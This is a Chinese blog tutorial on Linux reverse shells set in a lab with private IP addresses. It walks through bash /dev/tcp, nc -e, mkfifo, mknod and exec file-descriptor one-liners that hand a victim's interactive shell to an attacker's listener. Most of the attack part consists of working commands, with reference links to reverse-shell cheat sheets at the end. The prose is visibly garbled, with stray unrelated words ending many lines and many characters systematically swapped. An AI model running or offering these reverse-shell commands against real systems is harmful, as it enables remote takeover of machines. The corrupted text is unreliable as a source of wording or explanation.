在上一篇文章 Linux反弹shell(一)文件描述符与重定向,咱们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来咱们就能够正式借反弹shell的实例分析回顾前一篇文章讲的知识,而且也加深对反弹shell的理解吧。linux
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。web
一般用于被控端因防火墙受限、权限不足、端口被占用等情形shell
假设咱们攻击了一台机器,打开了该机器的一个端口,攻击者在本身的机器去链接目标机器(目标ip:目标机器端口),这是比较常规的形式,咱们叫作正向链接。远程桌面,web服务,ssh,telnet等等,都是正向链接。那么什么状况下正向链接不太好用了呢?bash
1.某客户机中了你的网马,可是它在局域网内,你直接链接不了。服务器
2.它的ip会动态改变,你不能持续控制。markdown
3.因为防火墙等限制,对方机器只能发送请求,不能接收请求。网络
4.对于病毒,木马,受害者何时能中招,对方的网络环境是什么样的,何时开关机,都是未知,因此创建一个服务端,让恶意程序主动链接,才是上策。ssh
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动链接攻击者的服务端程序,就叫反弹链接。socket
咱们能够先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都作了些什么,掌握了反弹的本质,再多的方法其实只是换了包装而已。
实验环境:
受害者:
Ubuntu Linux ------> 192.168.146.128
攻击者:
Kali Linux ------> 192.168.146.129
咱们就以最多见的bash为例:
attacker机器上执行:
nc -lvp 2333
victim 机器上执行:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
你就会看到下图:
能够看到在攻击机上出现了受害者机器的shell
解释一下这条命令具体的含义:
1.bash -i
1)bash 是linux 的一个比较常见的shell,其实linux的shell还有不少,好比 sh、zsh、等,他们之间有着细小差异
2)-i 这个参数表示的是产生交互式的shell
2./dev/tcp/ip/port
/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上能够将其当作一个设备(Linux下一切皆文件),其实若是你访问这个文件的位置他是不存在的,以下图:
可是若是你在一方监听端口的状况下对这个文件进行读写,就能实现与监听端口的服务器的socket通讯
实例1:
咱们输出字符串到这个文件里
攻击机上的输出
实例2:
攻击机上的输入
受害者机器上的输出
3.交互重定向
注意:
下面的内容涉及到比较复杂的重定向和文件描述符的知识,若是理解不够深刻建议看完个人上一篇文章之后再来继续阅读:
为了实现交互,咱们须要把受害者交互式shell的输出重定向到攻击机上
在受害者机器上输入
bash -i > /dev/tcp/192.168.146.129/2333
示意图:
以下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。
可是这里有一个问题,攻击者没有可以实现对受害者的控制,攻击者执行的命令无法在受害者电脑上执行。
因而咱们彷佛还须要一条这样的指令
bash -i < /dev/tcp/192.168.146.129/2333
示意图:
这条指令的意思是将攻击者输入的命令输入给受害者的bash,天然就能执行了
如今咱们须要将两条指令结合起来(若是这条指令看不懂能够去看一下我上面提供的文章的连接再回来看这条指令):
bash -i > /dev/tcp/192.168.146.129/2333 0>&1
示意图:
由这张示意图能够很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就造成了一个回路,实现了咱们远程交互式shell 的功能
以下图所示,我在攻击机上输入 ifconfig,查看到的是受害者的ip ,也就是说咱们目前已经基本完成了一个反弹shell 的功能。
注意:
可是这里有一个问题,就是咱们在受害者机器上依然能看到咱们在攻击者机器中执行的指令 ,以下图所示,咱们立刻解决
4. >&、&>
这个符号在我附上连接的那篇文章中也提到了,做用就是混合输出(错误、正确输出都输出到一个地方)
如今咱们解决一下前面的问题:
bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
能够看到命令并无回显在受害者机器上,咱们的目的达成了
固然咱们也能够执行与之彻底等价的指令
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
至此,咱们的反弹shell的经典语句就分析完了,经过这条语句的分析咱们能大体的了解反弹shell的本质,之后碰到其余的反弹shell 的语句也能用相似的分析方法区分析,甚至咱们也能够本身触类旁通创造更加绝妙的反弹shell 的语句
bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
和
bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
这里的惟一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不一样,而对于这个文件描述符来说并无什么区别(我在上面给出连接的文章中也特意用加粗的形式解释了)
bash -i >& /dev/tcp/192.168.146.129/2333 <&2
等价于
bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
示意图:
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
简单的解释一下:
exec 5<>/dev/tcp/192.168.146.129/2333
这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 而且方式是读写方式(这种方法在个人前面的文章中也讲到过),因而咱们就能经过文件描述符对这个socket链接进行操做了
command|while read line do .....done
这个是一个很是经典的句子,它的原句是这样的
while read line do … done < file
从文件中依次读取每一行,将其赋值给 line 变量(固然这里变量能够不少,以空格分隔,这里我就举一个变量的例子,若是是一个变量的话,那么一整行都是它的了),以后再在循环中对line进行操做。
而如今咱们不是从file 文件中输入了,咱们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。
与之彻底相似的还有下面这条指令,读者有兴趣能够本身分析一下:
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
nc 若是安装了正确的版本(存在-e 选项就能直接反弹shell)
nc -e /bin/sh 192.168.146.129 2333
可是若是是没有-e 选项是否是就不能实现了呢?固然不是,咱们能够向下面这样
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
简单的解释:
mkfifo 命令首先建立了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果经过nc 传到该管道,由此造成了一个回路
相似的命令:
mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
反弹shell方法虽然常见,方法网上一搜就是一大把的代码,可是不多有人会去仔细斟酌反弹shell的原理,我也看到有相似的文章,可是多是因为篇幅缘由并无对文件描述符和重定向的部分作深刻的讨论,致使解释语句的时候依然让人很差理解,因而此次我分红了两篇有所关联的文章完全的剖析了一下,我的认为这个原理是很是值得你们思考的,也颇有趣,若是个人文章有什么地方有问题,但愿你们及时联系我。
我的博客: http://www.k0rz3n.com
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://blog.csdn.net/roler_/article/details/17504039
http://www.freebuf.com/articles/system/153986.html
https://www.zhihu.com/question/24503813